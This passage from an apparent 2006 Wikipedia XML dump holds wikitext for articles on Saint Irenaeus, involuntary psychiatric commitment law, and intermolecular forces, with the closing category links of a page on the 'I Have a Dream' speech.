[[Category:Martin Luther King, Jr.]]
[[Category:Speeches]]

[[ca:He tingut un somni]]
[[fr:I have a dream]]
[[it:I have a dream]]
[[he:יש לי חלום]]
[[ms:Saya Mempunyai Impian]]
[[ja:I Have a Dream]]
[[pt:Eu Tenho um Sonho]]
[[sl:I have a dream]]</text>
    </revision>
  </page>
  <page>
    <title>Irenaeus</title>
    <id>15414</id>
    <revision>
      <id>41771644</id>
      <timestamp>2006-03-01T17:07:31Z</timestamp>
      <contributor>
        <username>JordanBarrett</username>
        <id>339703</id>
      </contributor>
      <comment>copyright - see talk page</comment>
      <text xml:space="preserve">{{copyright}}
[[Image:Saint Irenaeus.jpg|right|thumb| An engraving of Saint Irenaeus ([[Circa|ca.]] [[130]]&amp;ndash;[[202]] [[Common Era|CE]]), bishop of Lugdunum in [[Gaul]] (now [[Lyons]], [[France]]).]]
'''Saint Irenaeus''' ([[Circa|ca.]] [[130]]-[[202]] [[Common Era|CE]]) was [[bishop]] of [[Lyon|Lugdunum]] in [[Gaul]], which is now [[Lyons]], [[France]]. His writings were formative in the early development of [[Christianity|Christian]] [[theology]], and he is recognized as a [[saint]] by both the [[Eastern Orthodox Church]] and the [[Catholic Church]]; the latter considers him a [[Father of the Church]]. He was a disciple of [[Polycarp]], who himself was a disciple of [[John the Evangelist]]. His feast day is [[June 28]]. 

==Biography==
Irenaeus is thought to have been a [[Greek people|Greek]] from [[Polycarp]]'s own hometown of [[Smyrna]] in [[Asia Minor]], now [[Izmir]], [[Turkey]]. He was raised in a Christian family, rather than converting as an adult, and this may help explain his rigid adherence to [[orthodoxy]]. Irenaeus was one of the first Christian writers to use the principle of [[apostolic succession]] to refute his opponents. 

Irenaeus is remembered as the second bishop of [[Lyons]], although there is no clear evidence that he ever officially assumed the episcopal duties there. The first bishop, [[Pothinus (Bishop)|Pothinus]], was [[martyr|martyred]] around [[177]] [[Common Era|CE]], during persecutions under [[Marcus Aurelius]], while Irenaeus was visiting [[Rome]].

Irenaeus is also remembered as a [[martyr]], although there is no evidence indicating how he died; presumably, he did so shortly after the turn of the [[third century]]. He was buried under the church of Saint John's in Lyons, which was later renamed St. Irenaeus in his honour; the tomb and his remains were destroyed in [[1562]] by the [[Calvinism|Calvinist]] [[Huguenots]]. The remains of [[Leonardo da Vinci]] and [[Johannes Kepler|Kepler]], among others, also were lost in the religious wars of those times.

==Writings==
Irenaeus wrote a number of books, but the most important that survives is the five-volume ''On the Detection and Overthrow of the So-Called [[Gnosis]]'', normally referred to by the [[Latin language|Latin]] title ''[[Adversus Haereses]]'' (&quot;Against Heresies&quot;). Only fragments of the original [[Greek language|Greek]] text exist, but a complete copy exists in a wooden Latin translation, made shortly after its publication in Greek, and Books IV and V are also present in a literal [[Armenian language|Armenian]] translation.

The purpose of ''Against Heresies'' was to refute the teachings of various [[gnosticism|Gnostic]] groups; apparently, several Greek merchants had begun a oratorial campaign praising the pursuit of &quot;''[[gnosis]]''&quot; in Irenaeus' bishopric. Until the discovery of the [[Nag Hammadi library|Library of Nag Hammadi]] in [[1945]], ''Against Heresies'' was the best surviving description of [[Gnosticism]].

In Book II, chapter 22 of his treatise, Irenaeus asserts that the ministry of [[Jesus]] lasted from when he was [[baptism|baptized]] at the age of 30 until at least until the age of 50, and that he remained among his [[disciple|disciples]] until the reign of [[Trajan]], that is, until at least the year [[98]] [[Common Era|CE]]. It is not clear from the context whether Irenaeus believed Jesus was crucified in his old age, or was crucified at around the age 50 and then remained on earth long after his resurrection: 

&lt;blockquote&gt;[F]rom the fortieth and fiftieth year a man begins to decline towards old age, which our Lord possessed while He still fulfilled the office of a Teacher, even as the [[Gospel]] and all the elders testify; those who were conversant in [[Near East|Asia]] with [[St._John_the_Apostle|John]], the disciple of the [[God|Lord]], [affirming] that John conveyed to them that information. And he remained among them up to the times of Trajan. Some of them, moreover, saw not only John, but the other [[Twelve Apostles|apostles]] also, and heard the very same account from them, and bear testimony as to the [validity of] the statement.''&lt;/blockquote&gt;

Elsewhere, Irenaeus asserts that:

&lt;blockquote&gt;they have [[apostasy|apostatized]] in their opinions from Him who is God, and imagined that they have themselves discovered more than the apostles, by finding out another god; and [maintained] that the apostles preached the [[Gospel]] still somewhat under the influence of Jewish opinions, but that they themselves are purer [in doctrine], and more intelligent, than the apostles. (Book III, ch. 12, par. 12)&lt;/blockquote&gt;

Irenaeus cites from most of [[New Testament]] [[Biblical canon|canon]], as well as the noncanonical works the [[Epistles of Clement|1 Clement]] and [[The Shepherd of Hermas]]; however, he makes no references to [[Epistle to Philemon|Philemon]], [[2 Peter]], [[3 John]] or the [[Epistle of Jude|Jude]]. Irenaeus was the first Christian writer to list all four of the now canonical [[Gospel]]s as divinely-inspired, possibly in reaction to [[Marcion]]'s edited version of the [[Gospel of Luke]], which he (Marcion) asserted was the one and only true gospel.

Irenaeus' works were published in [[English language|English]] in [[1885]] in the [[Ante-Nicene Fathers]] collection.

==Irenaeus' Theology==
The central point of Irenaeus' [[theology]] is the unity of [[God]], in opposition to the Gnostics' division of God into a number of divine &quot;[[Aeon]]s&quot;, and their distinction between the utterly transcendent &quot;High God&quot; and the inferior &quot;[[Demiurge]]&quot; who created the world. Irenaeus uses the [[Logos]] theology he inherited from [[Justin Martyr]], but prefers to speak of the Son and the Spirit as the &quot;hands of God&quot;. [[Christ]], according to him, is the invisible Father made visible.

His emphasis on the unity of God is reflected in his corresponding emphasis on the unity of [[salvation]] [[history]]. Irenaeus repeatedly insists that God began the world and has been overseeing it ever since this creative act; everything that has happened is part of his plan for [[humanity]]. The essence of this plan is a process of [[maturation]]: Irenaeus believes that humanity was created immature, and God intended his creatures to take a long time to grow into or assume the divine likeness. Thus, [[Adam and Eve]] were created as children. Their [[fall (religion)|Fall]] was thus not a full-blown rebellion but a childish spat, a desire to grow up before their time and have everything with immediacy.

Everything that has happened since has therefore been planned by God to help humanity overcome this initial mishap and achieve spiritual maturity. The world has been intentionally designed by God as a difficult place, where human beings are forced to make [[moral]] decisions, as only in this way can they mature as moral agents. Irenaeus likens [[death]] to the [[whale]] that swallowed [[Jonah]]: it was only in the depths of the whale's belly that Jonah could turn to God and act according to the divine will. Similarly, death and [[suffering]] appear as [[evil|evils]], but without them we could never come to know God.

{{mergefrom|Recapitulation (Irenaeus)}}
According to Irenaeus, the high point in salvation history is the advent of [[Jesus]]. Irenaeus believes that [[Christ]] would always have been sent, even if humanity had never sinned; but the fact that they ''did'' [[sin]] determines his role as a [[savior]]. He sees Christ as the new Adam, who systematically ''undoes'' what Adam did: thus, where Adam was disobedient concerning God's edict concerning the fruit of the [[Tree of Knowledge]], Christ was obedient even to death on the wood of a tree. Irenaeus is the first to draw comparisons between Eve and [[Mary, the mother of Jesus|Mary]], contrasting the faithlessness of the former with the faithfulness of the latter. In addition to reversing the wrongs done by Adam, Irenaeus thinks of Christ as &quot;recapitulating&quot; or &quot;summing up&quot; human life. This means that Christ goes through every stage of human life, from [[infancy]] to [[old age]], and simply by living it, sanctifies it with his [[divinity]]. As a consequence, Irenaeus is therefore forced to argue that Christ did not die until he was quite old (see [[#Writings|above]]).

Irenaeus conceives of our salvation as essentially coming about through the [[incarnation]] of God as a man. He characterises the penalty for sin as death and [[corruption (philosophical concept)|corruption]]. God, however, is [[immortal]] and [[incorruptible]], and simply by becoming united to [[human nature]] in Christ he conveys those qualities to us: they spread, as it were, like a benign infection. Irenaeus therefore understands the [[atonement]] of Christ as happening through his incarnation rather than his [[crucifixion]], although the latter event is an integral part of the former.

== External links ==
*[http://www.earlychristianwritings.com/irenaeus.html Early Christian Writings Irenaeus]
*[http://www.ccel.org/fathers2/ANF-01/TOC.htm A nineteenth-century translation of Irenaeus' work]
**[http://www.ccel.org/fathers2/ANF-01/anf01-59.htm#P7011_1802900 Book II, ch. 22], where Irenaeus argues his unconventional views about the age of Jesus and the length of his ministry.
*[http://www.geocities.com/hashanayobel/christwrit/irenaeus.htm Excerpts from Irenaeus]
*[http://www.earlychurch.org.uk/irenaeus.php EarlyChurch.org.uk] Extensive bibliography.

[[Category:130 births]]
[[Category:202 deaths]]
[[category:Church Fathers]]
[[Category:Ancient Roman Christianity]]
[[Category:Gnosticism]]
[[Category:Saints]]
[[Category:Theologians]]

[[cs:Irenej z Lyonu]]
[[de:Irenäus von Lyon]]
[[es:Ireneo de Lyon]]
[[eo:Sankta Ireneo]]
[[fr:Irénée de Lyon]]
[[it:Sant'Ireneo di Lione]]
[[hu:Szent Ireneus]]
[[nl:Irenaeus van Lyon]]
[[ja:エイレナイオス]]
[[no:Ireneus av Lyon]]
[[pl:Ireneusz z Lyonu]]
[[pt:Ireneu de Lyon]]
[[sk:Irenej z Lyonu]]
[[fi:Irenaeus]]
[[sv:Irenaeus]]</text>
    </revision>
  </page>
  <page>
    <title>Involuntary commitment</title>
    <id>15416</id>
    <revision>
      <id>41618390</id>
      <timestamp>2006-02-28T15:34:08Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Doctor]] to [[Physician]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{mergefrom|involuntary treatment}}
'''Involuntary commitment''' is the practice of using legal means or forms as part of a [[mental health law]] to commit a person to a [[mental hospital]], insane asylum or [[psychiatric ward]] against their will or over their protests. Many but not all countries have [[mental health law]]s governing involuntary commitment. Some, such as the [[United States]], require a court hearing if the subject of the more or less brief initial commitment (approved by a [[Physician|doctor]], [[psychologist]] or [[psychiatrist]]) protests, though in some cases this initial hearing must be immediate; while others allow involuntary commitment at the request of [[physicians]] who must follow set legal procedures.  In the latter case there are then additional checks and sometimes hearings to ensure compliance with the law.  It may also sometimes be possible to challenge the commitment through [[habeas corpus]].

Though involuntary commitment has long been a practice of most societies, some individuals and groups have challenged it from a [[civil liberty|civil libertarian]] perspective, particularly in countries that are part of the Anglo-American judicial tradition.  There have also been allegations, many widely accepted, that at certain places and at certain times the practice of involuntary commitment has been used for the [[suppression of dissent]], or in a punitive way.

==Purposes of involuntary commitment==
Involuntary commitment has been used for a variety of purposes over the years and in different [[jurisdiction]]s. There has been considerable debate about these purposes and this has been a factor in leading to the various laws.  A number of individuals and groups remain strongly opposed to either all these laws, some of these laws, or some aspects of their application. 

In most jurisdictions involuntary commitment is specifically directed at people claimed or found to be suffering from a [[mental illness]] which impairs their reasoning ability to such an extent that the laws state or courts find that decisions must or should be made for them under a legal framework.  This decision requires a subjective opinion and is therefore open to error or abuse, both of which have been documented as occurring at different times in various places. There have been numerous official enquiries into such matters around the world and these have often led to legal and system reforms.

Involuntary commitment is used to some degree for each of the following headings although different jurisdictions have different criteria. Some allow involuntary commitment only if the person both appears to be suffering from a mental illness and that the effects of this produce a risk to themselves or others.  Other jurisdictions have much broader criteria.

===Observation===
Observation is sometimes used to determine if a person warrants involuntary commitment.  It is not always clear on a relatively brief examination whether a person is [[psychosis|psychotic]] or otherwise warrants commitment and so sometimes people are admitted for a period to observe their behavior.  This period of observation can be helpful in determining the actual [[diagnosis]] but can tend to produce an expectation of disease which can alter the perceptions and behavior of the staff.  Rosenhan's classic paper, &quot;[[Rosenhan experiment|On being sane in insane places]]&quot;,&lt;sup&gt;1&lt;/sup&gt; demonstrated a variety of problems.  In this study a number of volunteers mimicked illnesses to obtain admission to hospital and then subsequently behaved normally.  The staff continued to perceive that they were exhibiting [[sign (medicine)|signs]] of the illness diagnosed on admission and treated them as such.  This paper has since been criticised by Spitzer&lt;sup&gt;2&lt;/sup&gt; who argued that given the initial symptoms presented that the mindset of the staff was not only understandable but that it did not invalidate an ability to diagnose conditions as Rosenhan had claimed. Rosenhan's experiment remains a cautionary tale that informs the teaching of trainee psychiatrists.

===Containment of danger===
A common reason given for involuntary commitment is to prevent danger to the individual or society.  People with [[suicide|suicidal]] thoughts may act on these thoughts and harm or kill themselves. People with psychoses are occasionally driven by their [[delusion]]s or [[hallucination]]s to harm themselves or others.  People with [[personality disorder]]s are occasionally violent.

This concern has found expression in the standards for involuntary commitment of a number of jurisdictions in the U.S. and other countries as the &quot;danger to self or others&quot; standard if someone has a &quot;mental illness&quot; or &quot;mental disorder&quot; (though sometimes explicit exceptions are made, as in [[Arizona]] law, in which &quot;[[drug abuse]], [[alcoholism]] or [[mental retardation]]&quot; and &quot;[t]he declining mental abilities that directly accompany impending death&quot; are specifically excepted), [http://www.psychlaws.org/LegalResources/StateLaws/Arizonastatute.htm] sometimes supplemented by the requirement that the danger be &quot;imminent&quot;.  However, it has come under criticism from two directions.  Those who are concerned that the &quot;danger to self or others&quot; standard is too narrow and will not permit the commitment of those for whom it is necessary have occasionally advocated that it be replaced by the &quot;gravely disabled&quot; standard.  There are others who are concerned that the &quot;danger to self or others&quot; standard is vague and not precisely defined, which could lead to abuse of involuntary commitment.  However, some people find that the increasingly narrow definition of &quot;danger to self or others&quot; provided by statute and court rulings have to some degree mitigated these concerns.  

Some of the same people who are concerned about the overbreadth of the &quot;danger to self or others&quot; standard are more concerned about the &quot;gravely disabled&quot; standard, as they find it broader still.  The First District Court of Appeal in California, however, held in ''[[Conservatorship of Chambers]]'' (1977) 71 Cal.App.3d 277, 139 Cal.Rptr. 357, that the standard was not unconstitutional due to overbreadth or vagueness, and excluded commitment of people whose [[lifestyle]]s were simply eccentric or unusual.  In ''In re Maricopa County'', 840 P.2d 1042, (Ariz. Ct. App. 1992), the court held that &quot;persistently or acutely disabled&quot; was not an unconstitutionally vague standard.

The [[Michigan]] Mental Health Code provides that a person 

:''whose judgment is so impaired that he or she is unable to understand his or her need for treatment and whose continued behavior as the result of this mental illness can reasonably be expected, on the basis of competent clinical opinion, to result in significant physical harm to himself or herself or others''

may be subjected to involuntary commitment, a provision paralleled in the laws of many other jurisdictions.  These types of provisions have been criticised as a sort of &quot;heads I win, tails you lose,&quot; as if the person admits that he needs inpatient treatment, he will be voluntarily hospitalised, but if he denies that he needs treatment, this will form part of the evidence supporting his involuntary hospitalisation.

In [[Oregon]] the standard that the allegedly mentally ill person

:''[h]as been committed and hospitalized twice in the last three years, is showing symptoms or behavior similar to those that preceded and led to a prior hospitalization and, unless treated, will continue, to a reasonable medical probability, to deteriorate to become a danger to self or others or unable to provide for basic needs''

may be substituted for the danger to self or others standard.

===Treatment of illness===
Many [[psychiatric disorder]]s are treated with therapies such as [[antipsychotic]]s, [[antidepressant]]s or, more rarely, [[electroconvulsive therapy]] also known as electroshock. Many studies have shown the effectiveness of these treatments in their ability to produce a reduction in [[symptom]]s and [[sign (medicine)|signs]] of psychiatric disorders.{{fact}} These studies have been used in some jurisdictions as reasons to allow involuntary commitment solely on the basis of the person having a treatable psychiatric disorder. In those jurisdictions where danger is required for commitment, involuntary treatment is still usually allowed.  Other studies have shown that psychiatric treatment is less effective than no treatment at all.{{fact}}

==Community treatment as an alternative==
There have been some criticisms of the efficacy or appropriateness of inpatient treatment.  For example, the &quot;[[Pan American Health Organization (PAHO) Caracas Declaration of 1990]]...  identified inpatient psychiatric treatment as isolating individuals from the community and thus as an obstacle to recovery.&quot;[https://education.cmellc.com/html/involuntarycommitment.html] The isolation produced in the past with big asylums is now generally regarded as unhelpful. Integration into mainstream services and the community is supported by most in the treating professions and in the community.

===Deinstitutionalization===
Starting in the 1960s, there has been a worldwide movement toward deinstitutionalization of mental patients from mental hospitals into community care centers, and this has been matched with efforts at reform of involuntary commitment laws.  (In the US from the [[1970s]] onwards a relatively small number of ex-mental patients and former &quot;consumers of psychiatric services&quot; have promoted what they call &quot;[[psychiatric survivors movement|mad liberation]],&quot; often calling for the abolition of involuntary commitment.)  In many countries deinstitutionalization was put into practice without adequate provision or funding for community care facilities; those who described themselves as &quot;advocates for the mentally ill&quot; complained that deinstitutionalized former inmates of mental hospitals often ended up homeless, and others have complained that they found their way into [[jail]]s and [[prison]]s.  In the US in the [[1980s]], there was a return back to institutionalization and less strict commitment laws.  However, Michael L. Perlin&lt;sup&gt;3&lt;/sup&gt; has claimed that throughout this entire period psychiatrists have frequently and as a practice committed [[perjury]] during commitment hearings in order to make it more likely that a patient they believe would benefit from commitment will be committed.  [[E. Fuller Torrey]], a prominent proponent of involuntary commitment, has stated:

:''It would probably be difficult to find any American Psychiatrist working with the mentally ill who has not, at a minimum, exaggerated the dangerousness of a mentally ill person's behavior to obtain a judicial order for commitment . . . Thus, ignoring the law, exaggerating symptoms, and outright lying by families to get care for those who need it are important reasons the mental illness system is not even worse than it is.'' 

Dr. Torrey also quotes Psychiatrist Paul Applebaum as saying when &quot;confronted with psychotic persons who might well benefit from treatment, and who would certainly suffer without it, mental health professionals and judges alike were reluctant to comply with the law,&quot; noting that in &quot;'the dominance of the commonsense model,' the laws are sometimes simply disregarded.&quot;&lt;sup&gt;4&lt;/sup&gt;

The general trend worldwide remains one of closing large mental hospitals, increasing the integration of psychiatric treatment into general hospitals and of increasing community care at times using [[outpatient commitment|involuntary community treatment]] where in the past involuntary admission would have been used. Despite this trend, and given the limitations of current treatment regimes, some involuntary admissions will continue for more severe conditions.

==United Nations==

[[United Nations]] [[UN General Assembly|General Assembly]] resolution 46/119 of [[1991]], &quot;Principles for the Protection of Persons with Mental Illness and the Improvement of Mental Health Care&quot; is a non-binding resolution advocating certain broadly-drawn procedures for the carrying-out of involuntary commitment. These principles have been used in many countries where local laws have been revised or new ones implemented. The UN runs programs in some countries to assist in this process.

==United States==

Involuntary commitment is governed by state law and procedures vary from state to state, under laws often called [[mental hygiene]] laws.  Involuntary commitment is typically used against people diagnosed with, or alleged to have, a [[mental illness]], particularly [[schizophrenia]].  It should be noted that, at least in some [[jurisdiction]]s, laws regarding the commitment of [[juvenile]]s may vary, with what is the ''de facto'' involuntary commitment of a juvenile perhaps ''de jure'' defined as &quot;voluntary&quot; if his [[parents]] agree (though he may still have a right to protest and attempt to get released).

An example of involuntary commitment procedures is the [[Baker Act]] used by the state of [[Florida]]. Under this law, a person may be committed only if he or she presents a danger to himself or others. A [[police]] officer may issue an emergency commitment order which lasts for up to 72 hours.  Within this time, a person must appear before a judge who can extend the commitment.  The Baker Act also requires that all commitment orders be reviewed every six months in addition to insuring certain rights to the committed including the right to contact outsiders.  Also, a person under an involuntary commitment order has a right to counsel and a right to have the state provide a public defender if they cannot afford a private lawyer.

===Controversy===
(Of particular concern to some civil libertarians is the acknowledged role of the [[United States Secret Service]] in obtaining involuntary psychiatric hospitalizations of those it believes to be a danger to protectees, without any claim that these &quot;dangerous&quot; individuals are &quot;mentally ill.&quot;)  Though few would argue that under no circumstances should a psychiatric patient be held against his will, exceptions to this have included [[Lawrence Stevens]], an attorney who has argued that involuntary commitment is a violation of [[substantive due process]] under the United States Constitution (see link at end of article); and most believers in the theory of [[reality enforcement]]; the [[Libertarian Party]] also opposes the practice in its platform.[http://www.lp.org/issues/platform/platform_all.html]  [[Surrealism]] has also categorically opposed involuntary commitment, and many Western [[Marxism|Marxists]] have also opposed the practice.  Dr. [[Thomas Szasz]] has also been prominent in challenging involuntary commitment (see [[anti-psychiatry]]).  

A small number of individuals in the United States have opposed involuntary commitment in those cases in which the diagnosis forming the justification for the involuntary commitment rests, or the individuals say it rests, on the [[speech]] or [[writing]]s of the person committed, saying that to deprive him of liberty based in whole or part on such speech and writings violates the [[First Amendment]].  Other individuals have opposed involuntary commitment on the bases that they claim (despite the amendment generally being held to apply only to criminal cases) it violates the [[Fifth Amendment]] in a number of ways, particularly its privilege against self-incrimination, as the psychiatrically-examined individual may not be free to remain silent, and such silence may actually be used as &quot;proof&quot; of his &quot;mental illness&quot;.[http://www.szasz.com/undergraduate/wadzuk.pdf]  (This criticism has motivated the creation, in some jurisdictions, of a similar statutory privilege in this context.)  There have also been claims that conditions in, or &quot;treatments&quot; commonly performed in, mental hospitals to which individuals are involuntarily committed constitute [[torture]], or are prohibited by the [[Convention Against Torture]].[http://psychrights.org/index.htm]  While the overwhelming majority of this opposition has been nonviolent or even self-consciously based on the principles of [[nonviolence]], there have been isolated examples of violence, including [[sabotage]] arguably directed against involuntary commitment. 

The mainstream debate has for the most part, however, regarded only the procedures of involuntary commitment.  Until the [[1960s]], legal safeguards against involuntary commitment were lax and this led to a number of horror stories of people with no mental illness being trapped in an institution.

===Use with criminals===
In the [[1990s]], a novel and extremely controversial use of involuntary commitment laws known as &quot;Mentally Abnormal Sexually Violent Predator&quot; laws were enacted in order  to hold sex offenders after their terms have expired.  (This is generally referred to as &quot;civil commitment,&quot; not &quot;involuntary commitment,&quot; although, perhaps confusingly, involuntary commitment in general is sometimes referred to as &quot;civil commitment&quot;.)  Supporters claim that this is a valid use of involuntary commitment laws, while opponents claim that this is a potentially extremely dangerous way of bypassing the safeguards in the criminal justice system.  This matter has been the subject of a number of cases before the [[Supreme Court of the United States]], most notably ''Kansas v. Hendricks'' and ''Kansas v. Crane''.

===Community based treatment===
Accompanying deinstitutionalization was the development of laws expanding the power of courts to order people to take psychiatric medication on an outpatient basis.  Though the practice had occasionally occurred earlier, [[outpatient commitment]] was used for many people who would otherwise have been involuntarily committed.  The court orders often specified that a person who violated the court order and refused to take the medication would be subject to involuntary commitment.

===Conservatorship===
Involuntary commitment is distinguished from [[conservatorship]], which was used by [[deprogramming|deprogrammers]] as a legal means to hold alleged [[cult]] victims against their will while talking them out of their faith. In hundreds of cases documented by attorney Jeremiah Gutman, deprogrammers were able to obtain conservatorship orders without having to bring the subject of the order before a judge.

===Advance psychiatric directives===
Advance psychiatric directives may have a bearing on involuntary commitment.[http://bipolar.about.com/gi/dynamic/offsite.htm?site=http%3A%2F%2Fwww.bazelon.org%2Fadvdir.html]

==Australia==
[[Australia]] is used as an example of a country where court hearings are not required for involuntary commitment. Mental health law is [[constitution]]ally under the state powers.  Each state thus has different laws, many of which have been updated in recent years. 

===Mechanisms===
The usual requirement is that a police officer or a doctor may determine that a person requires a psychiatric examination and may convey them, or have them conveyed to a [[psychiatric hospital]] for that purpose.  Once at the hospital a doctor, usually a trainee psychiatrist, will either endorse this or order their release.  If the person is detained in the hospital then they usually must be seen by an authorised psychiatist within a set period of time.  In some states, after a further set period or at the request of the person or their representative, a tribunal hearing is held to determine whether the person should continue to be detained.  In states where tribunals are not instituted, there is another form of appeal.

===Allowed reasons===
Some states require that the person is a danger to the society or themselves, other states only require that the person be suffering from a mental illness that requires treatment. The Victorian act specifies in part that:
:&quot;(1) A person may be admitted to and detained in an approved mental health service as an involuntary patient in accordance with the procedures specified in this Act only if&amp;#8212; 
::(a) the person appears to be mentally ill; and 
::(b) the person's mental illness requires immediate treatment and that treatment can be obtained by admission to and detention in an approved mental health service; and 
::(c) because of the person's mental illness, the person should be admitted and detained for treatment as an involuntary patient for his or her health or safety (whether to prevent a deterioration in the person's physical or mental condition or otherwise) or for the protection of members of the public; and 
::(d) the person has refused or is unable to consent to the necessary treatment for the mental illness; and 
::(e) the person cannot receive adequate treatment for the mental illness in a manner less restrictive of that person's freedom of decision and action. 
:(1A) Subject to sub-section (2), a person is mentally ill if he or she has a mental illness, being a medical condition that is characterised by a significant disturbance of thought, mood, perception or memory.&quot;
There are additional qualifications and restrictions but the effect of these provisions is that people who are assessed by doctors as being in need of treatment may be admitted involuntarily without the need of demonstrating a risk of danger. This then overcomes the pressure described above to exaggerate issues of violence to obtain an admission.

===Treatment===
In general, once the person is under involuntary commitment, treatment may be instituted without further requirements.  Some treatments such as [[electroconvulsive therapy]] (ECT) often require further procedures to comply with the law before they may be administered involuntarily.

===Community treatment orders===
These can be used in the first instance or after a period of admission to hospital as a voluntary or involuntary patient. With the trend towards deinstitutionalization this is becoming increasingly frequent and hospital admission is restricted to people with severe mental illnesses.

==United Kingdom==
In the [[United Kingdom]], the process known in the [[United States]] as involuntary commitment is unofficially known as '''[[sectioning]]''', after the various sections of the [[Mental Health Act 1983]] (covering England and Wales), the [[Mental Health (Northern Ireland) Order 1986]] and the [[Mental Health (Care and Treatment) (Scotland) Act 2003]] that provide its legal basis.

==Reference==
&lt;sup&gt;1&lt;/sup&gt; Rosenhan, D.L. (1973).  ''On being sane in insane places''.  Science, '''179''', 250-258.

&lt;sup&gt;2&lt;/sup&gt; Spitzer, R.L. (1975).  ''On pseudoscience in science, logic in remission, and psychiatric diagnosis: A critique of Rosenhan's &quot;On being sane in insane places.&quot;''  Journal of Abnormal Psychology,  '''84''', 442-452. 

&lt;sup&gt;3&lt;/sup&gt; Perlin, M.L. (1993/1994). ''The ADA and Persons with Mental Disabilities:  Can Sanist Attitudes Be Undone?'' Journal of Law and Health,, 8 JLHEALTH 15, 33-34.

&lt;sup&gt;4&lt;/sup&gt; Torrey, E. Fuller. (1997). ''Out of the Shadows: Confronting America's Mental Illness Crisis.'' New York: John Wiley and Sons.

==See also==
*[[Involuntary treatment]]
*[[Treatment Advocacy Center]]
*[[Psychiatric imprisonment]]

==External links==
* [http://www.antipsychiatry.org/due-proc.htm The views of Lawrence Stevens, J.D. who opposes involuntary commitment]
* [http://www.dms.dpc.vic.gov.au/Domino/Web_Notes/LDMS/PubLawToday.nsf?OpenDatabase Victorian legislation and parliamentary documents (Australia)] - search using &quot;mental health act&quot; for the latest version of the act
* [http://www.mhrb.vic.gov.au/ Mental health review board site (Victoria, Australia)] - the official site of the MHRB
* [http://www.psychlaws.org/GeneralResources/article218.htm Keys to Commitment (A Guide for Family Members) by Robert J. Kaplan, J.D.]
* [http://www.psychlaws.org/LegalResources/statechart.htm State-by-state chart of U.S. commitment laws]]

[[Category:Medical ethics]]
[[Category:Mental health law]]
[[Category:Psychosis]]
[[Category:Personality disorders]]

[[de:Unterbringung]]
[[fr:Hospitalisation sans consentement]]</text>
    </revision>
  </page>
  <page>
    <title>Intermolecular force</title>
    <id>15417</id>
    <revision>
      <id>40055999</id>
      <timestamp>2006-02-17T20:36:36Z</timestamp>
      <contributor>
        <ip>24.61.110.85</ip>
      </contributor>
      <comment>/* Hydrogen bonding */</comment>
      <text xml:space="preserve">'''Intermolecular forces''' are electromagnetic forces which act between [[molecule|molecules]] or between widely separated regions of a [[macromolecule]]. Listed in order of decreasing strength, these forces are:

* [[ionic bonding|Ionic interactions]]
* [[hydrogen bonding|Hydrogen bonds]]
* Dipole-dipole interactions
* [[van der Waals force|London Dispersion Forces]]


==Description and strength==
These are fundamentally [[electrostatic]] interactions (ionic interactions, hydrogen bond, dipole-dipole interactions) or [[electrodynamic]] interactions (van der Waals/London forces). Electrostatic interactions are [[classical electromagnetism|classically]] described by [[Coulomb's law]]; the basic difference between them is the strength of their charge. Ionic interactions are the strongest with integer level charges, hydrogen bonds have partial charges that are about an order of magnitude weaker, and dipole-dipole interactions also come from partial charges another order of magnitude weaker. 
{|border=0  cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;width:300px&quot;
|+A very approximate strength order would be:
!Bond type
!Relative strength
|-
|Ionic bonds ||&lt;center&gt;1000&lt;/center&gt;
|-
|Hydrogen bonds ||&lt;center&gt;100&lt;/center&gt;
|-
|Dipole-dipole||&lt;center&gt;10&lt;/center&gt;
|-
|London Forces ||&lt;center&gt;1&lt;/center&gt;
|-
|}

=== Ionic interactions ===
These are interactions that occur between charged species ([[ion]]s).  Like charges repel, while opposite charges attract. These bonds form when the [[electronegativity|electronegativities]] between two atoms is large enough that one steals an electron from the other.  The now oppositely charged ions are attracted. Ionic compounds have high melting and boiling points due to the large amount of heat required to break the forces between the charged ions. When molten they are also good conductors of heat and electricity, due to free or delocalised electrons.

=== Hydrogen bonding ===
[[Hydrogen bonding]] occurs when a [[hydrogen]] atom is [[covalent bond|covalently bound]] to a small highly [[electronegativity|electronegative]] atom such as [[nitrogen]], [[oxygen]], or [[fluorine]]. The result is a [[dipole|dipolar]] molecule. The hydrogen atom has a partial positive charge and can interact with another highly electronegative atom in an adjacent molecule (again N, O, or F). This results in a stabilizing interaction that binds the two molecules together. An important example is [[water (molecule)|water]]:

           H          O — H
            \        /
             O&amp;middot;&amp;middot;&amp;middot;&amp;middot;&amp;middot;&amp;middot;H
            /
           H


Hydrogen bonds are found throughout nature.  They give water its unique properties that are so important to life on earth.  Hydrogen bonds between hydrogen atoms and nitrogen atoms of adjacent base pairs provide the intermolecular force that bind together the two strands in a molecule of [[DNA]].

The critical difference between hydrogen bonding and dipole-dipole interactions is that the hydrogen is partially transferred to the second molecule - the second molecule's lone pair of electrons forms a covalent bond and the pair becomes somewhat like: 

:H&lt;sub&gt;2&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;-H &lt;sup&gt;-&lt;/sup&gt;O-H

The effect is twofold: The bonding is stronger and is directional. The directional nature of hydrogen bonding requires the two molecules to adopt a specific relative geometry.

=== Dipole-dipole interactions ===
{{mergefrom|Keesom force}}
Dipole-dipole interactions, also called Keesom interactions after [[Willem Hendrik Keesom]] who produced the first mathematical description in 1921, are the [[Keesom force|forces]] that occur between two molecules with permanent dipoles.  These work in a similar manner to ionic interactions, but are weaker because only partial charges are involved.  An example of this can be seen in [[hydrochloric acid]]:

(+)(-)  &amp;nbsp;&amp;nbsp; (+) (-)&lt;br&gt;
H-Cl-----H-Cl

=== London dispersion forces === 
Also called London forces, instantaneous dipole effects or [[Van der Waals force]]s, these involve the attraction between temporarily induced dipoles in nonpolar molecules (often disappear within a second). This polarization can be induced either by a polar molecule or by the repulsion of negatively charged electron clouds in nonpolar molecules.  An example of the former is chlorine dissolving in water:

                  (+)(-)(+)  (-) (+)
 [Permanent Dipole] H-O-H-----Cl-Cl [Induced Dipole]

An example of the second scenario is found in molecular chlorine:

                 (+) (-)    (+) (-)
 [Induced Dipole] Cl-Cl------Cl-Cl [Induced Dipole]


London Dispersion forces exist between all atoms.

===See also===
* [[Hydrophobic effect]]
* [[Polymer]]

[[Category:Chemical bonding]]

[[ar:تفاعل غير ارتباطي]]
[[da:Intermolekylær]]
[[es:Fuerza intermolecular]]
[[ja:分子間力]]
